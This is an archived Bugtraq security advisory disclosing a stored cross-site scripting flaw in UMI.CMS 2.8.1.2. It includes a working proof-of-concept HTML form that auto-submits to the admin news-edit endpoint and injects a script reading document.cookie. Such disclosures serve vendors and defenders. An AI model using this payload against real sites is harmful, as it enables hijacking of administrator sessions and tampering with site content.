[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
HTB22813: XSS vulnerability in UMI.CMS
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: HTB22813: XSS vulnerability in UMI.CMS
- From: advisory@xxxxxxxxxxx
- Date: Tue, 8 Feb 2011 13:19:54 +0100 (CET)
Vulnerability ID: HTB22813
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_umi_cms_1.html
Product: UMI.CMS
Vendor: umisoft ( http://www.umi-cms.ru/ )
Vulnerable Version: 2.8.1.2
Vendor Notification: 25 January 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing
(http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/admin/news/edit/4/do/" script
to properly sanitize user-supplied input in "name" variable. Successful
exploitation of this vulnerability could result in a compromise of the
application, theft of cookie-based authentication credentials, disclosure or
modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is
available:
<form action="http://host/admin/news/edit/PAGEID/do/" method="post" name="main"
enctype="multipart/form-data" >
<input type="hidden" name="referer" value="hello">
<input type="hidden" name="domain" value="host">
<input type="hidden" name="name"
value='news"><script>alert(document.cookie)</script>'>
<input type="hidden" name="alt-name" value="altname">
<input type="hidden" name="active" value="0">
<input type="hidden" name="active" value="1">
<input type="hidden" name="type-id" value="23">
<input type="hidden" name="save-mode" value="Save">
<input type="hidden" name="template-id" value="2">
<input type="hidden" name="is-visible" value="0">
<input type="hidden" name="is-default" value="0">
<input type="hidden" name="perms_read[2373]" value="1">
</form>
<script>
document.main.submit();
</script>